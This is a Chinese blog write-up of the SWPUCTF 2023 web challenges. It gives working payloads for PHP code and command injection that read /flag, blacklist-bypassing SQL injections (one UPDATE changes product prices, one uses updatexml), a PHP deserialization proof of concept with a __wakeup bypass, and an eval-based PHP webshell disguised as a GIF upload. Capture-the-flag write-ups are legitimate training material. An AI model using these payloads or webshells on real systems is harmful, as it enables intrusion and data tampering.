首页 > 其他分享 >swpuctf 2023

swpuctf 2023

时间:2023-12-02 21:13:13浏览次数:41  
标签:INSERT swpuctf items INTO VALUES 2023 NSS payload

web

0x01 If_else

注释掉然后构造payload就可以了。
payload:url?check=1){eval(system("cat /flag"));}/*

0x02 RCE-PLUS

rce没有回显,那就重定向到文件访问就可以了。
payload:url?cmd=cat /f*>1.txt

0x03 Pingpingping

php特性,“]”后面的“.”不会被转换。
payload:url?Ping[ip.exe=127.0.0.1;cat /flag

0x04 一键连接!

全部数组绕过,然后data伪协议判断条件,最后执行命令。
payload:
get:url?md5_1[]=1&md5_2[]=0&sha1_1[]=1&sha1_2[]=0&new_player=data://text/plain,Welcome to NSSCTF!!!
post:Nss=system("cat /flag");

0x05 NSS大卖场

sql更新注入,在路径/buy下可以传一个参数
/buy/1,网页就会报错/buy/1',可以回显黑名单

SELECT|select|UPDATE|update|WHERE|where| |or|AND|and|ORDER|order|BY|by|--|<|>|!

这些都是被过滤的,然后网页的hint可以下载数据库的备份文件

CREATE TABLE `items`  (
  `id` int(11) NOT NULL,
  `name` varchar(255) CHARACTER SET utf8 COLLATE utf8_unicode_ci NOT NULL,
  `price` int(11) NOT NULL,
  `have` int(11) NOT NULL,
  `info` longtext CHARACTER SET utf8 COLLATE utf8_unicode_ci NOT NULL,
  PRIMARY KEY (`id`) USING BTREE
) ENGINE = MyISAM CHARACTER SET = utf8 COLLATE = utf8_unicode_ci ROW_FORMAT = Dynamic;

-- ----------------------------

-- Records of items

-- ----------------------------

INSERT INTO `items` VALUES (1, 'X尼小熊', 999, 0, '...');
INSERT INTO `items` VALUES (2, 'ICBM火', 999, 0, '...');
INSERT INTO `items` VALUES (3, 'Haruki拖鞋', 999, 0, '...');
INSERT INTO `items` VALUES (4, 'WD鸽毛', 999, 0, '...');
INSERT INTO `items` VALUES (5, '谢队出狱图', 999, 0, '...');
INSERT INTO `items` VALUES (6, 'SC学姐', 999, 0, '...');
INSERT INTO `items` VALUES (7, '探姬女装', 999, 0, '...');
INSERT INTO `items` VALUES (8, 'FLAG', 999999999, 0, 'flag is here');

这里的思路就是利用update语句修改items表里的price字段就可以购买flag了。
绕过黑名单大小写绕过,空格就用%09绕过。
payload:url/buy/1';UPdATE%09items%09SeT%09price=1;#

0x06 NSS_HTTP_CHEKER

http请求头,不难。

get:?this_is_get=get_%1t
post:this_is_post=p03t
cookie:this_is_cookie=cookie_suki_desu~
ua:NSSCTF
xff:127.0.0.1

0x07 UnS3rialize

常规的反序列化,但是最后那里需要绕过wakeup,修改"F":3,把 3 改为 4 就可以了。

poc如下:

<?php
class NSS
{
    public $cmd;
}
class C
{
    public $whoami;
}
class T
{
    public $sth;
}
class F
{
    public $user = "nss";
    public $passwd = "ctf";
    public $notes;
}
$ser = new F();
$ser->user = "SWPU";
$ser->passwd = "NSS";
$ser->notes = new T();
$ser->notes->sth = new C();
$ser->notes->sth->whoami = new NSS();
$ser->notes->sth->whoami->cmd = "ls";
$a = 'O:1:"F":4:{s:4:"user";s:4:"SWPU";s:6:"passwd";s:3:"NSS";s:5:"notes";O:1:"T":1:{s:3:"sth";O:1:"C":1:{s:6:"whoami";O:3:"NSS":1:{s:3:"cmd";s:7:"cat /f*";}}}}';
echo base64_encode($a);
// O:1:"F":3:{s:4:"user";s:4:"SWPU";s:6:"passwd";s:3:"NSS";s:5:"notes";O:1:"T":1:{s:3:"sth";O:1:"C":1:{s:6:"whoami";O:4:"NSS":1:{s:3:"cmd";s:2:"ls";}}}}

payload:url?ser=TzoxOiJGIjo0OntzOjQ6InVzZXIiO3M6NDoiU1dQVSI7czo2OiJwYXNzd2QiO3M6MzoiTlNTIjtzOjU6Im5vdGVzIjtPOjE6IlQiOjE6e3M6Mzoic3RoIjtPOjE6IkMiOjE6e3M6Njoid2hvYW1pIjtPOjM6Ik5TUyI6MTp7czozOiJjbWQiO3M6NzoiY2F0IC9mKiI7fX19fQ==

0x08 ez_talk

传个shell,然后检测文件类型和内容,修改填充一下就好了。

Content-Type: image/png
GIF89a
<?php eval($_POST[x]);

0x09 查查need

sqlmap一把梭,或者手工注入,flag是grade最大的一个值。
payload:student_id=1"+and+updatexml(1,concat(0x7e,(select+mid(MAX(grade),25)+from+school.students),0x7e),1)--+

标签:INSERT,swpuctf,items,INTO,VALUES,2023,NSS,payload
From: https://www.cnblogs.com/y2xsec/p/17871794.html

相关文章

  • CTT2023游记
    NOI2023之后状态一直不咋地,原本要写的CSP/NOIP阿克游记也都咕掉了。看看老年退役选手能不能苟进CTS!12.1启程。9:28启动的火车,原本我们是\(6\)个人的:徐老师,zak,sjy,我,cmll,dx。结果徐老师记错日期了没来。然后就打车去了酒店签到,一到就是先发参赛证书(落款日期还是12.5)、胸......
  • 2023-2024-1 20231402《计算机基础与程序设计》第十周学习总结
    2023-2024-120231402《计算机基础与程序设计》第十周学习总结作业信息这个作业属于哪个课程2023-2024-1-计算机基础与程序设计这个作业要求在哪里2023-2024-1计算机基础与程序设计第10周作业这个作业的目标自学计算机科学概论第12,13,14章,《C语言程序设计》第9章......
  • The 2023 ICPC Asia Hefei Regional Contest Test I. Linguistics Puzzle
    Preface这题yysy真不难,但比赛的时候想出做法后没时间写了,只能遗憾地看着倒计时结束Solution直接上爆搜复杂度肯定会爆,考虑有哪些数是可以不用搜直接推出来的首先样例启发我们\(0,1\)这两个数很好确定,因为\(0\)对应的字母单独出现的次数肯定最多,而\(1\)作为两位的开头出现的次......
  • 表达式-C语言-2023/12/2
    首先介绍表达式:......
  • 语句-C1-2023/12/2
    ......
  • 2023.12.2——每日总结
    学习所花时间(包括上课):9h代码量(行):0行博客量(篇):1篇今天,上午学习,下午学习;我了解到的知识点:1.jfinal明日计划:学习......
  • 2023-12-02:用go语言,如何求模立方根? x^3=a mod p, p是大于等于3的大质数, a是1到p-1范围
    2023-12-02:用go语言,如何求模立方根?x^3=amodp,p是大于等于3的大质数,a是1到p-1范围的整数常数,x也是1到p-1范围的整数,求x。p过大,x不能从1到p-1遍历。答案2023-12-02:灵捷3.5大体步骤如下:1.判断是否存在模立方根。有0,1,3个根这三种情况。1.1.求p-1和3的最大公约数gcd(p-1,3)......
  • 88th 2023/12/2 模拟赛总结57
    本次排名稍微考前,但依然丢脸,赛时先冷静地把题目翻了一遍,T1手推了一下,没有任何思路,却也不觉得这题难赛后事实说明是赛时考虑的太少了,光可行路径就至少可以卡到\(21^{20}\)条正解是预处理出两两之间路径最少需要的点数,然后DP,用优先队列优化然后就翻到T2,觉得这题非常有意思,就画......
  • 2023/12/2软件工程日报
    使用deepspeech做音频特征提取时报错AttributeError:module'numpy'hasnoattribute'float'.`np.float`wasadeprecatedaliasforthebuiltin`float`.Toavoidthiserrorinexistingcode,use`float`byitself.Doingthiswillnotmodifyanybehav......
  • 2023-2024-1 20232310 《网络空间安全导论》第4周学习
    教材内容学习总结教材学习中的问题和解决过程问题1:不理解sql注入的原理解决方案:利用B站学习sqlmap的使用方法,了解深层逻辑问题2:对于入侵检测的具体概念理解解决方案:询问Chatgpt,查询有关具体例子。基于AI的学习感悟系统安全是一项很复杂的工程,需要我不断努力学习......